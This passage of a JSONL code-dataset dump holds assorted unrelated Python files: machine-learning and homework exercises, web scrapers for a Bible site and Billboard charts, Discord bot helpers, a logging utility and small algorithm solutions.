float(numTestVecs)))\n    print(errorCount)\n\n\ndef img2vector(filename):\n    \"\"\"\n    将图片转换成向量\n\n    :param filename:\n    :return:\n    \"\"\"\n    return_vector = zeros((1, 1024))\n    fr = open(filename)\n    for i in range(32):\n        line_str = fr.readline()\n        for j in range(32):\n            return_vector[0, 32 * i + j] = int(line_str[j])\n    return return_vector\n\n\ndef handwritingClassTest():\n    \"\"\"\n    手写识别系统->测试数据\n\n    :return:\n    \"\"\"\n    hwLabels = []\n    trainingFileList = listdir('trainingDigits')  # load the training set\n    m = builtins.len(trainingFileList)\n    trainingMat = zeros((m, 1024))\n    for i in range(m):\n        fileNameStr = trainingFileList[i]\n        fileStr = fileNameStr.split('.')[0]  # take off .txt\n        classNumStr = int(fileStr.split('_')[0])\n        hwLabels.append(classNumStr)\n        trainingMat[i, :] = img2vector('trainingDigits/%s' % fileNameStr)\n    testFileList = listdir('testDigits')  # iterate through the test set\n    errorCount = 0.0\n    mTest = builtins.len(testFileList)\n    for i in range(mTest):\n        fileNameStr = testFileList[i]\n        fileStr = fileNameStr.split('.')[0]  # take off .txt\n        classNumStr = int(fileStr.split('_')[0])\n        vectorUnderTest = img2vector('testDigits/%s' % fileNameStr)\n        classifierResult = classify0(vectorUnderTest, trainingMat, hwLabels, 3)\n        print(\"the classifier came back with: %d, the real answer is: %d\" % (classifierResult, classNumStr))\n        if classifierResult != classNumStr:\n            errorCount += 1.0\n    print(\"\\nthe total number of errors is: %d\" % errorCount)\n    print(\"\\nthe total error rate is: %f\" % (errorCount / float(mTest)))","repo_name":"myailab/mlinaction","sub_path":"chapter2_knn/kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":5853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15861013504","text":"from typing import List\n\n\nclass Solution:\n    def twoSum(self, nums: List[int], target: int) -> List[int]:\n        store = dict()\n        for i in range(len(nums)):\n            diff = target - nums[i]\n            if diff in store: return [store[diff], i]\n            store[nums[i]] = i\n","repo_name":"maxbrodin/interview-course","sub_path":"python/lesson 3/two_sum.py","file_name":"two_sum.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"33538980723","text":"\"\"\"\nJules Faucher\n260926201\n\nPhys 512\nOctober 29th, 2021\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef convo_shift(x, s): #Takes in an array x and shifts it by s.\n    \n    dirac = np.zeros(len(x))\n    dirac[s] = 1\n    convolution = np.fft.fft(x) * np.fft.fft(dirac)\n    return np.fft.ifft(convolution)\n\ndef corr(y1, y2):\n    correlation = np.fft.ifft(np.fft.fft(y1) * np.conj(np.fft.fft(y2)))\n    return correlation/np.sqrt(np.sum(correlation))\n\nGauss = lambda x, mu, sig : 1/(np.sqrt(2*np.pi)*sig)*np.exp(-((x-mu)/sig)**2)\n\ndef shift_corr(y1, s):\n    y2 = convo_shift(y1, s)\n    return corr(y1, y2), y2\n\nx = np.linspace(-20, 20, 400)\ny = Gauss(x, -15, 1)\n\ns = 100\n\ndirac = np.zeros(len(x))\ndirac[s] = 1\n\nresult, y2 = shift_corr(y, s)\n\nplt.plot(x, result, label = \"Correlation\")\nplt.plot(x, y, label = \"Original Gauss.\")\nplt.plot(x, y2, label = \"Shifted Gauss.\")\nplt.title(\"Correlation of Shifted Gaussians\", fontsize = 16)\nplt.ylabel(\"$y$\", fontsize = 14)\nplt.xlabel(\"$x$\", fontsize = 14)\nplt.savefig(\"Problem3.png\", dpi = 400)\nplt.grid()\nplt.legend()\nplt.show()","repo_name":"jfaucher00/phys_512","sub_path":"problem_sets/ps5/phys 512 ps5 problem3.py","file_name":"phys 512 ps5 problem3.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33737311661","text":"from base_parser import BaseParser\nimport re\nimport json\nimport pathlib\nfrom utils import *\nfrom slugify import slugify\nfrom get_contents import GetContents\n\nclass Bible1909Parser(BaseParser):\n\n\tRESULT_PATH = 'bible1909/'\n\tSOURCE = 'http://www.intratext.com/IXT/ESL0021/_INDEX.HTM'\n\tBOOKS_REGEX = r'<book>.+?</book>'\n\tFIRST_SLUG_NEW_TESTAMENT = 'el-santo-evangelio-segun-san-mateo' #\n\tSTART_BOOKS = 0\n\tEND_BOOKS = None           # Pick just n books -> get_raw_books()[1] None for all indexmateo = 39 indexapocalipsis=65\n\tSTART_CHAPTERS = None\n\tEND_CHAPTERS = None     # Pick a few chapters activate sleep when removing None for all\n\tSLEEP = 5           #If isn't on caché waits n second to make the requests, to prevent weird activity detection \n\tRESULT_ROOT_PATH = f'{pathlib.Path(__file__).parent.parent}/bibles/'\n\n\t_replacements = {\n\t\t'books': {\n\t\t\t'regex': r'<li><font size=2>(.[^<]*)</font>',\n\t\t\t'replacement': '<book>\\\\1</book>',\n\t\t\t'flags': 0,\n\t\t},\n\t\t'accents': {\n\t\t\t'regex': r'&([aeiou])acute;',\n\t\t\t'replacement': '\\\\1',\n\t\t\t'flags': re.IGNORECASE\n\t\t},\n\t\t'fix-n-tilde': {\n\t\t\t'regex': r'&ntilde;',\n\t\t\t'replacement': 'ñ',\n\t\t\t'flags': 0\n\t\t},\n\t\t'fix-n-tilde': {\n\t\t\t'regex': r'&deg;',\n\t\t\t'replacement': '',\n\t\t\t'flags': 0\n\t\t},\n\t\t'extra-info': {\n\t\t\t'regex': r'<hr\\swidth=50%\\ssize=1\\salign=left>',\n\t\t\t'replacement': '',\n\t\t\t'flags': 0\n\t\t},\n\t\t'a-tags': {\n\t\t\t'regex': r'(<A.[^>]*>|</A>)',\n\t\t\t'replacement': '',\n\t\t\t'flags': 0\n\t\t},\n\t\t'numbers': {\n\t\t\t'regex': r'<p.[^>]*>\\s*(\\d+:\\d+)\\s*</p>',\n\t\t\t'replacement': '',\n\t\t\t'flags': 0\n\t\t},\n\t\t'versicles': {\n\t\t\t'regex': r'<p.[^>]*>\\s*(.*?)\\s*</p>',\n\t\t\t'replacement': '<versicle>\\\\1</versicle>',\n\t\t\t'flags': re.DOTALL\n\t\t},\n\t\t'chapters-names': {\n\t\t\t'regex': r'<h2>(.*?)</h2>',\n\t\t\t'replacement': '',\n\t\t\t'flags': 0\n\t\t},\n\t\t'empty-tags': {\n\t\t\t'regex': r'<versicle>(\\s|&nbsp;)*</versicle>',\n\t\t\t'replacement': '',\n\t\t\t'flags': 0\n\t\t},\n\t\t'weird-spaces': {\n\t\t\t'regex': r'\\r\\n',\n\t\t\t'replacement': ' ',\n\t\t\t'flags': 0\n\t\t}\n\t}\n\n\tdef __init__(self):\n\t\tsuper(Bible1909Parser, self).__init__(self.SOURCE, self.RESULT_PATH)\n\n\tdef clean_content(self, content):\n\t\tfor key, data in self._replacements.items():\n\t\t\tcontent = re.sub(data['regex'], data['replacement'], content, 0, data['flags'])\n\t\treturn content\n\n\tdef get_parsed_bible(self):\n\t\tparsed_bible = self.parse_books()\n\t\treturn parsed_bible\n\n\tdef parse_books(self):\n\t\tbible = {}\n\n\t\tnew_testament = True if self.START_BOOKS > 39 else False\n\t\tbook_number = self.START_BOOKS if self.START_BOOKS else 0\n\n\t\tfor raw_book in self.get_raw_books()[self.START_BOOKS:self.END_BOOKS]:\n\t\t\tbook = {}\n\t\t\tbook['book_number'] = str(book_number)\n\t\t\tbook['raw-name'] = raw_book\n\t\t\tbook['name'] = re.sub('(<[^<]+?>)|;|,', '', raw_book)\n\t\t\tbook['slug'] = slugify(re.sub(r'&.*?;', '', book['name']))\n\t\t\tif self.FIRST_SLUG_NEW_TESTAMENT == book['slug']: new_testament = True\n\t\t\tbook['testament'] = 'Nuevo Testamento' if new_testament else 'Antiguo Testamento'\n\t\t\tbook['capitulos'] = self.get_chapters(raw_book)\n\t\t\tbible.update({book['slug'] : book})\n\t\t\tself.save_file(book)\n\t\t\tbook_number += 1\n\t\t\t\n\t\treturn bible\n\n\tdef get_raw_books(self):\n\t\treturn re.findall(self.BOOKS_REGEX, self._content)\n\n\tdef get_chapters(self, book_content):\n\t\tchapters = {}\n\t\tregex = r'{}\\s*<ul\\stype=square><li><font\\ssize=1>\\s*(.*?)(?=(<br><br>)|(</li></ul></li></ul></font>))'.format(re.escape(book_content))\n\t\tchapter_link = re.search(regex, self._content, re.DOTALL | re.IGNORECASE)\n\n\t\tif chapter_link:\n\t\t\tchapter_link = chapter_link.group(0)\n\t\t\tparts = re.split(r'<a\\shref=', chapter_link)[1:]\n\t\t\tparts = parts[self.START_CHAPTERS:self.END_CHAPTERS]\n\n\t\t\tself._content = self._content.replace(chapter_link, '')\n\t\t\tfor i in range(len(parts)):\n\t\t\t\tparsed = self.parse_chapters(self.SLEEP, parts[i], book_content)\n\t\t\t\tchapters[i] = parsed\n\n\t\treturn chapters\n\n\tdef parse_chapters(self, sleep, raw_chapter_url, book):\n\t\tsource_root_path = self._source\n\t\tchapter_url = source_root_path.replace('_INDEX.HTM', '') + re.sub('>\\d+</a>\\.', '', raw_chapter_url).strip()\n\t\tresponse = GetContents.get_response(self, chapter_url, sleep_t=sleep).text\n\t\tchapter_content = self.clean_content(response)\n\t\treturn self.get_versicles(chapter_content)\n\n\tdef get_versicles(self, chapter_content):\n\t\tparts = re.findall(r'(?<=<versicle>).*?(?=</versicle>)', chapter_content, re.DOTALL)\n\t\tif len(parts) == 0:\n\t\t\tprint(f'Vericles not found inside{chapter_content}\\n')\n\t\t\treturn parts\n\n\t\treturn {i: parts[i] for i in range(len(parts))}\t\n\n","repo_name":"Daegas/rvl","sub_path":"parser/bible_1909_parser.py","file_name":"bible_1909_parser.py","file_ext":"py","file_size_in_byte":4438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70924541632","text":"from os import getcwd\nfrom sys import path\n\npath.insert(1,getcwd()+\"\\\\Library\\\\packages\\\\\")\n\nimport packages\n\n\ndef main():\n    datapath = getcwd()+\"\\\\Library\\\\data\\\\\"\n\n    dictionary = packages.load_dict.load_dict_data(datapath)\n    \n    search_word = packages.user_input.user_input(dictionary)\n\n    try:\n        meanings = packages.search.search(search_word[1].lower(),dictionary)\n        if len(meanings) == 1:\n            if search_word[2] == 2:\n                print (f\"\\nThere is {len(meanings)} meaning for '{search_word[1]}' found in dictionary\")\n            else:\n                print (f\"\\nThere is {len(meanings)} meaning for '{search_word[0]}' found in dictionary\")\n        else:\n            if search_word[2] == 2:\n                print (f\"\\nThere are {len(meanings)} meanings for '{search_word[1]}' found in dictionary\")\n            else:\n                print (f\"\\nThere are {len(meanings)} meanings for '{search_word[0]}' found in dictionary\")\n\n        count = 0\n        for meaning in meanings:\n            count = count+1\n            print (f\"\\n{count}) {meaning}\")\n\n    except KeyError as e:\n        print (\"\\n\" + e.__class__.__name__,f\": The entered word '{search_word[0]}' is not found in dictionary, please double check it.\")\n\n    ","repo_name":"kapilkankane/python_source_Code","sub_path":"dictionary_project_local_data/Library/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4692233195","text":"#\n#####################################################################################################################\n\"\"\"                                  EE477 Database and Bigdata system  HW5                                        \"\"\"\n#######################################################################################################################\n\"\"\"\n   * pyspark rdd methods : https://spark.apache.org/docs/1.1.1/api/python/pyspark.rdd.RDD-class.html\n\"\"\"\nimport sys\nfrom pyspark.sql import SparkSession\n\n\ndef warmup_sql (spark, datafile):\n   \n    df = spark.read.parquet(datafile)\n    df.createOrReplaceTempView(\"flights\")\n    rq = spark.sql(\"SELECT depdelay FROM flights LIMIT 100\")\n    \n    rq.show()\n    \n    return rq\n\ndef warmup_rdd (spark, datafile):\n   \n    d = spark.read.parquet(datafile).rdd\n    \n    r = d.map(lambda x: x['depdelay'])   \n    r = spark.sparkContext.parallelize(r.take(100)) # limit 100\n    \n    return r\n\ndef Q1 (spark, datafile):\n    \n    df = spark.read.parquet(datafile)\n    \n    # your code here\n    df.createOrReplaceTempView(\"flights\")\n    rq = spark.sql(\"SELECT DISTINCT destcityname FROM flights WHERE origincityname = 'Seattle, WA'\")\n    rq.show()\n    return rq\n\ndef Q2 (spark, datafile):\n    \n    d = spark.read.parquet(datafile).rdd\n    r = d.map(lambda x: (x['destcityname'],x['origincityname']))\n    r = r.filter(lambda w: w[1] == 'Seattle, WA').distinct()\n    r = r.map(lambda w: w[0])\n    # your code here\n    \n    return r\n    \ndef Q3 (spark, datafile):\n    \n    d = spark.read.parquet(datafile).rdd\n    r = d.filter(lambda x: x['cancelled'] == 0)\n    r = r.map(lambda x: (x['origincityname'],x['month']))\n    r = r.map(lambda x: (x,1)).groupByKey().mapValues(sum)\n    # your code here\n    return r\n\n\ndef Q4 (spark, datafile):\n \n    d = spark.read.parquet(datafile).rdd\n    r = d.map(lambda x: (x['destcityname'],x['origincityname'])).distinct()\n    r = r.groupByKey().mapValues(len)\n    maximum = r.max(key=lambda x:x[1])\n    r = r.filter(lambda x: x[1] == maximum[1])\n    # your code here\n    \n    return r\n\n\n\ndef Q5 (spark, datafile):\n    \n    d = spark.read.parquet(datafile).rdd\n    r = d.filter(lambda x: x['depdelay'] != None)\n    r = r.map(lambda x: (x['origincityname'],x['depdelay'])).groupByKey()\n    r = r.map(lambda w: (w[0], sum(w[1])/len(w[1])))\n    \n    # your code here\n    \n    return r\n\nif __name__ == '__main__':\n    \n    input_data = sys.argv[1]\n    output = sys.argv[2]\n    \n    spark = SparkSession.builder.appName(\"HW5\").getOrCreate()\n\n    \"\"\" - WarmUp SQL - \"\"\"\n    #rq = warmup_sql(spark, input_data)\n    #rq.rdd.repartition(1).saveAsTextFile(output)\n    \n    \"\"\" - WarmUp RDD - \"\"\"\n    #r = warmup_rdd(spark, input_data)\n    #r.repartition(1).saveAsTextFile(output)\n    \n    \"\"\" - Problem 1 - \"\"\"\n    #rq1 = Q1(spark, input_data)\n    #rq1.rdd.repartition(1).saveAsTextFile(output)\n    \n    \"\"\" - Problem 2 - \"\"\"\n    #r2 = Q2(spark, input_data)\n    #r2.repartition(1).saveAsTextFile(output)\n    \n    \"\"\" - Problem 3 - \"\"\"\n    #r3 = Q3(spark, input_data)\n    #r3.repartition(1).saveAsTextFile(output)\n    \n    \"\"\" - Problem 4 - \"\"\"\n    #r4 = Q4(spark, input_data)\n    #r4.repartition(1).saveAsTextFile(output)\n    \n    \"\"\" - Problem 5 - \"\"\"\n    #r5 = Q5(spark, input_data)\n    #r5.repartition(1).saveAsTextFile(output)\n\n    spark.stop()\n","repo_name":"dungeon12345/EE477_Projects","sub_path":"20180155_hw5/EE477_HW5.py","file_name":"EE477_HW5.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8199834327","text":"import json\n\nimport requests\nfrom requests.structures import CaseInsensitiveDict\n\nfrom utils.settings import APIKEY_GEO, APIKEY_JSON\n\nfrom .validators import ValidationView as validation\n\n\ndef get_encouragement_quote():\n    response = requests.get(\"https://zenquotes.io/api/quotes/\")\n    json_data = json.loads(response.text)\n    discord_response = f\"\"\"I have {len(json_data)}\ndifferent encouragement quotations for you.\nA quote by {json_data[0]['a']} has been radomly chosen:\n\\\"{json_data[0]['q']}\\\"\"\"\"\n\n    return discord_response\n\n\ndef get_city_temperature(country, city):\n    headers = CaseInsensitiveDict()\n    headers[\"Accept\"] = \"application/json\"\n\n    country_exist = check_country_validity(country, headers)\n\n    if country_exist:\n        response = requests.get(\n            f\"https://api.geoapify.com/v1/geocode/search?apiKey={APIKEY_JSON}&city={city}&country={country}\",\n            headers=headers,\n        )\n        response_json_data = json.loads(response.text)\n\n        longitude = response_json_data[\"features\"][0][\"properties\"][\"lon\"]\n        latitude = response_json_data[\"features\"][0][\"properties\"][\"lat\"]\n\n        # get temperature according to long and lat\n        response = requests.get(\n            f\"https://api.open-meteo.com/v1/forecast?longitude={longitude}&latitude={latitude}&current_weather=true\",\n            headers=headers,\n        )\n        response_json_data = json.loads(response.text)\n        temperature = response_json_data[\"current_weather\"][\"temperature\"]\n\n        description = f\"Today in {city}, {country}, the temperature is {temperature}°C\"\n\n        return description\n    else:\n        return validation.no_country_validation()\n\n\ndef check_country_validity(country, headers):\n    response = requests.get(\n        f\"https://api.opencagedata.com/geocode/v1/json?q={country}&key={APIKEY_GEO}\"\n    )\n\n    response_json_data = json.loads(response.text)\n\n    # check if country exists\n    if response_json_data[\"total_results\"] == 0:\n        return False\n    else:\n        return True\n\n\ndef get_store_products(name: str = None, category: str = None, limit: str = None):\n    headers = CaseInsensitiveDict()\n    display_all_products = \"\"\n\n    if limit:\n        response = requests.get(\n            f\"https://fakestoreapi.com/products?limit={limit}\", headers=headers\n        )\n\n        # get all products to the list\n        json_response = json.loads(response.text)\n\n        for index, product in list(enumerate(json_response)):\n            display_all_products += (\n                f\"{index}. {product['title']}, ${product['price']}\\n\"\n            )\n    elif category:\n        category = category.lower().strip()\n        response = requests.get(\n            f\"https://fakestoreapi.com/products/category/{category}\", headers=headers\n        )\n\n        json_response = json.loads(response.text)\n\n        if len(json_response) == 0:\n            return validation.no_category_valdation()\n\n        for index, product in list(enumerate(json_response)):\n            display_all_products += (\n                f\"{index}. {product['title']}, ${product['price']}\\n\"\n            )\n    elif name:\n        name = name.lower().strip()\n        response = requests.get(\"https://fakestoreapi.com/products/\", headers=headers)\n\n        json_response = json.loads(response.text)\n        get_products_by_name = [\n            product\n            for product in json_response\n            if name in product[\"title\"].lower().split()\n        ]\n\n        if len(get_products_by_name) == 0:\n            return validation.no_product_valdation()\n\n        for index, product in list(enumerate(get_products_by_name)):\n            display_all_products += (\n                f\"{index}. {product['title']}, ${product['price']}\\n\"\n            )\n    else:\n        # if nothing has been provided, return all categories\n        response = requests.get(\n            \"https://fakestoreapi.com/products/categories\", headers=headers\n        )\n\n        json_response = json.loads(response.text)\n        print(json_response)\n\n        for index, category in list(enumerate(json_response)):\n            display_all_products += f\"{index}. {category}\\n\"\n\n    return display_all_products\n","repo_name":"rafiwts/discord_bot","sub_path":"bot/parsing_handlers.py","file_name":"parsing_handlers.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70651471872","text":"# coding: utf-8\r\n\r\nimport logging\r\nimport logging.handlers\r\nimport inspect\r\nfrom dptool import winAddColor\r\nfrom dptool import linuxAddColor\r\nfrom dptool import threadingLock\r\n\r\n\r\nclass Logger(object):\r\n    '''\r\n    LOG_FORMAT = [levelName] ascTime filePath function lineNumber: message\r\n    LOG_LEVEL  = 10 logging.DEBUG\r\n                 20 logging.INFO\r\n                 30 logging.WARNING|WARN\r\n                 40 logging.ERROR\r\n                 50 logging.CRITICAL|FATAL\r\n    '''\r\n    LOG_FORMAT        = '[%(levelname)s] %(asctime)s %(message)s'\r\n    TIME_FORMAT       = \"%Y-%m-%d %H:%M:%S\"\r\n    FULL_FILE_PATH    = False\r\n    LOG_LEVEL         = 10\r\n    IS_CONSOLE        = (True, True)\r\n    COLOR_ERROR       = ('red', None, 'bold')\r\n    COLOR_WARNING     = ('yellow', None, 'bold')\r\n    COLOR_INFO        = ('cyan', None, 'bold')\r\n    COLOR_DEBUG       = ('green', None, 'bold')\r\n    FILE_ERROR        = None\r\n    FILE_WARNING      = None\r\n    FILE_INFO         = None\r\n    FILE_DEBUG        = None\r\n    FILE_LOG          = None\r\n    FILE_MAX_BYTES    = 128*1024*1024\r\n    FILE_BACKUP_COUNT = 10\r\n    __Ec = None\r\n    __Wc = None\r\n    __Ic = None\r\n    __Dc = None\r\n    __Ef = None\r\n    __Wf = None\r\n    __If = None\r\n    __Df = None\r\n    __C  = None\r\n    __F  = None\r\n\r\n    @staticmethod\r\n    def _makeCLogger(logName, colorType):\r\n        textColor, bgColor, style = colorType\r\n        logger = logging.getLogger(logName)\r\n        logger.setLevel(Logger.LOG_LEVEL)\r\n        format = logging.Formatter(\r\n            linuxAddColor(Logger.LOG_FORMAT, textColor, bgColor, style),\r\n            Logger.TIME_FORMAT\r\n        )\r\n        handler = logging.StreamHandler()\r\n        handler.setLevel(Logger.LOG_LEVEL)\r\n        handler.setFormatter(format)\r\n        logger.addHandler(handler)\r\n        return logger\r\n\r\n    @staticmethod\r\n    def _makeFLogger(logName, logFile):\r\n        logger = logging.getLogger(logName)\r\n        logger.setLevel(Logger.LOG_LEVEL)\r\n        format = logging.Formatter(\r\n            Logger.LOG_FORMAT,\r\n            Logger.TIME_FORMAT\r\n        )\r\n        handler = logging.handlers.RotatingFileHandler(\r\n            filename=logFile,\r\n            mode='a',\r\n            maxBytes=Logger.FILE_MAX_BYTES,\r\n            backupCount=Logger.FILE_BACKUP_COUNT\r\n        )\r\n        handler.setLevel(Logger.LOG_LEVEL)\r\n        handler.setFormatter(format)\r\n        logger.addHandler(handler)\r\n        return logger\r\n\r\n    @staticmethod\r\n    def _initLogger(level):\r\n        cLogger = None\r\n        fLogger = None\r\n        if Logger.IS_CONSOLE[0] is True:\r\n            if Logger.IS_CONSOLE[1] is True:\r\n                if not (Logger.__Ec and Logger.__Wc and Logger.__Ic and Logger.__Dc):\r\n                    Logger.__Ec = Logger._makeCLogger('error_c', Logger.COLOR_ERROR)\r\n                    Logger.__Wc = Logger._makeCLogger('warning_c', Logger.COLOR_WARNING)\r\n                    Logger.__Ic = Logger._makeCLogger('info_c', Logger.COLOR_INFO)\r\n                    Logger.__Dc = Logger._makeCLogger('debug_c', Logger.COLOR_DEBUG)\r\n                if level == 'error':\r\n                    cLogger = Logger.__Ec\r\n                if level == 'warning':\r\n                    cLogger = Logger.__Wc\r\n                if level == 'info':\r\n                    cLogger = Logger.__Ic\r\n                if level == 'debug':\r\n                    cLogger = Logger.__Dc\r\n            elif Logger.IS_CONSOLE[1] is False:\r\n                if not Logger.__C:\r\n                    Logger.__C = Logger._makeCLogger('console', (None, None, None))\r\n                cLogger = Logger.__C\r\n        if Logger.FILE_ERROR is not None:\r\n            if Logger.__Ef is None:\r\n                Logger.__Ef = Logger._makeFLogger('error_f', Logger.FILE_ERROR)\r\n        if Logger.FILE_WARNING is not None:\r\n            if Logger.__Wf is None:\r\n                Logger.__Wf = Logger._makeFLogger('warning_f', Logger.FILE_WARNING)\r\n        if Logger.FILE_INFO is not None:\r\n            if Logger.__If is None:\r\n                Logger.__If = Logger._makeFLogger('info_f', Logger.FILE_INFO)\r\n        if Logger.FILE_DEBUG is not None:\r\n            if Logger.__Df is None:\r\n                Logger.__Df = Logger._makeFLogger('debug_f', Logger.FILE_DEBUG)\r\n        if Logger.FILE_LOG is not None:\r\n            if Logger.__F is None:\r\n                Logger.__F = Logger._makeFLogger('log_file', Logger.FILE_LOG)\r\n        if level == 'error':\r\n            fLogger = Logger.__Ef\r\n        if level == 'warning':\r\n            fLogger = Logger.__Wf\r\n        if level == 'info':\r\n            fLogger = Logger.__If\r\n        if level == 'debug':\r\n            fLogger = Logger.__Df\r\n        return cLogger, fLogger\r\n\r\n    @staticmethod\r\n    def _handleMsg(msg):\r\n        stack = inspect.stack()\r\n        filePath = stack[-1][1]\r\n        lineNum = stack[-1][2]\r\n        if not Logger.FULL_FILE_PATH:\r\n            filePath = filePath.split(\"/\")[-1]\r\n        funcName = stack[-2][3]\r\n        return \"%s %s [line %d]: %s\" % (filePath, funcName, lineNum, msg)\r\n\r\n    @staticmethod\r\n    @threadingLock\r\n    @winAddColor(COLOR_ERROR[0], COLOR_ERROR[1], COLOR_ERROR[2])\r\n    def error(msg):\r\n        cLogger, fLogger = Logger._initLogger('error')\r\n        msg = Logger._handleMsg(msg)\r\n        if cLogger is not None:\r\n            cLogger.error(msg)\r\n        if fLogger is not None:\r\n            fLogger.error(msg)\r\n        if Logger.__F is not None:\r\n            Logger.__F.error(msg)\r\n\r\n    @staticmethod\r\n    @threadingLock\r\n    @winAddColor(COLOR_WARNING[0], COLOR_WARNING[1], COLOR_WARNING[2])\r\n    def warning(msg):\r\n        cLogger, fLogger = Logger._initLogger('warning')\r\n        msg = Logger._handleMsg(msg)\r\n        if cLogger is not None:\r\n            cLogger.warning(msg)\r\n        if fLogger is not None:\r\n            fLogger.warning(msg)\r\n        if Logger.__F is not None:\r\n            Logger.__F.warning(msg)\r\n\r\n    @staticmethod\r\n    @threadingLock\r\n    @winAddColor(COLOR_INFO[0], COLOR_INFO[1], COLOR_INFO[2])\r\n    def info(msg):\r\n        cLogger, fLogger = Logger._initLogger('info')\r\n        msg = Logger._handleMsg(msg)\r\n        if cLogger is not None:\r\n            cLogger.info(msg)\r\n        if fLogger is not None:\r\n            fLogger.info(msg)\r\n        if Logger.__F is not None:\r\n            Logger.__F.info(msg)\r\n\r\n    @staticmethod\r\n    @threadingLock\r\n    @winAddColor(COLOR_DEBUG[0], COLOR_DEBUG[1], COLOR_DEBUG[2])\r\n    def debug(msg):\r\n        cLogger, fLogger = Logger._initLogger('debug')\r\n        msg = Logger._handleMsg(msg)\r\n        if cLogger is not None:\r\n            cLogger.debug(msg)\r\n        if fLogger is not None:\r\n            fLogger.debug(msg)\r\n        if Logger.__F is not None:\r\n            Logger.__F.debug(msg)\r\n","repo_name":"doupengs/dplog","sub_path":"dplog/dplog.py","file_name":"dplog.py","file_ext":"py","file_size_in_byte":6723,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"2158842217","text":"import pandas as pd\nimport datetime\nfrom apscheduler.triggers.cron import CronTrigger\n\nid_channel = 789468494298742794\n\n\ndef schedule_ferias(scheduler,clx):\n  \n  global client\n  client = clx\n  scheduler.add_job(send_ferias,  CronTrigger(hour=\"17\", minute=\"00\", second=\"00\")) #14:00:00\n  print('FERIAS Adicionado ao Cronograma com Sucesso')\n\nasync def send_ferias():\n  now = datetime.datetime.now()\n  await client.wait_until_ready()\n  c = client.get_channel(id_channel)\n  if now.weekday() in [1, 3]: #Terça e Sexta\n    await c.send(get_ferias_text())\n\ndef get_ferias_text(days=15):\n  df = download_xslx()\n  df = df.dropna(subset=['Inicio', 'Retorno'])\n  df['Inicio'] = pd.to_datetime(df['Inicio'], infer_datetime_format=True)\n  df['Retorno'] = pd.to_datetime(df['Retorno'], infer_datetime_format=True)\n  df = df.sort_values(by=['Inicio'])\n  text = ''\n  lista = []\n  for index, row in df.iterrows():\n      if datetime.datetime.now() < row['Inicio'] < datetime.datetime.now() + datetime.timedelta(days=days):\n        lista.append([row['Inicio'],row['Retorno'],row['Nome'],row['Discord Tag']])\n  \n  if len(lista)>0:text += 'Hey @everyone! Já se prepararam para as férias desses TEDers?\\n'\n  for item in lista: text += f'{get_user(client,item[3]).mention} sai dia: {item[0].day}/{item[0].month} | e volta dia: {item[1].day}/{item[1].month}\\n'\n  \n  lista = []\n  for index, row in df.iterrows():\n      if datetime.datetime.now() < row['Retorno'] < datetime.datetime.now() + datetime.timedelta(days=days):\n        lista.append([row['Inicio'],row['Retorno'],row['Nome'],row['Discord Tag']])\n  \n  if len(text) == 0 and len(lista)>0: text += 'Hey @everyone já podem comemorar, olha quem ja ja ta voltando de ferias!\\n'\n  elif len(lista)>0:text += '\\n\\nMas fiquem tranquilos que esses já estão voltando\\n'\n  for item in lista: text += f'{get_user(client,item[3]).mention} voltando dia: {item[1].day}/{item[1].month}\\n'\n  return text\n\ndef get_user(ctx, username):\n  #user = ctx.users\n  for guild in client.guilds:\n    for member in guild.members:\n      if f'{member.name}#{member.discriminator}' == username:\n        match = member\n        return match\n\ndef download_xslx():\n  return pd.read_csv('ferias.csv')\n ","repo_name":"phelipecomph/TED-Discord-Bot","sub_path":"feature_ferias.py","file_name":"feature_ferias.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1233277870","text":"import sys\r\nfrom bisect import bisect_right as bi_r\r\n\r\ninf = float('inf')\r\n\r\nn, *A = map(int, sys.stdin.read().split())\r\n\r\ndef main():\r\n    res = [inf] * n\r\n    for a in A[::-1]:\r\n        i = bi_r(res, a)\r\n        res[i] = a\r\n\r\n    for i in range(n):\r\n        if res[i] == inf:\r\n            return i\r\n    return n\r\n\r\nif __name__ == '__main__':\r\n    ans = main()\r\n    print(ans)\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc134/abc134_e/10193579.py","file_name":"10193579.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"38279567727","text":"\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport lxml\r\nimport streamlit as st\r\n\r\ndef get_charts_page():\r\n    URL = ('https://www.billboard.com/charts/india-songs-hotw/')\r\n    r = requests.get(URL)\r\n    return  BeautifulSoup(r.content, 'lxml')\r\n\r\ndef get_news_page():\r\n    url = \"https://www.billboard.com/c/culture/\"\r\n    r = requests.get(url)\r\n    return  BeautifulSoup(r.content, 'lxml')\r\n\r\n\r\ndef collect_data(doc):\r\n\r\n    data = []\r\n    songs = doc.find_all('div', class_='o-chart-results-list-row-container')\r\n    f = open('Billboard_Hot_100.txt', 'w+')\r\n    f.write('BILLBOARD HOT 100\\n')\r\n    for i,item in enumerate(songs):\r\n        title = item.find('h3').text.strip()\r\n        singer =item.find('span', class_='c-label').text\r\n        data.append({\r\n            'title':f'{i}. {title}',\r\n            'singer':singer\r\n        })\r\n        f.write(f'{i}. {title}\\n')\r\n    f.close()\r\n    return data\r\n    \r\ndef 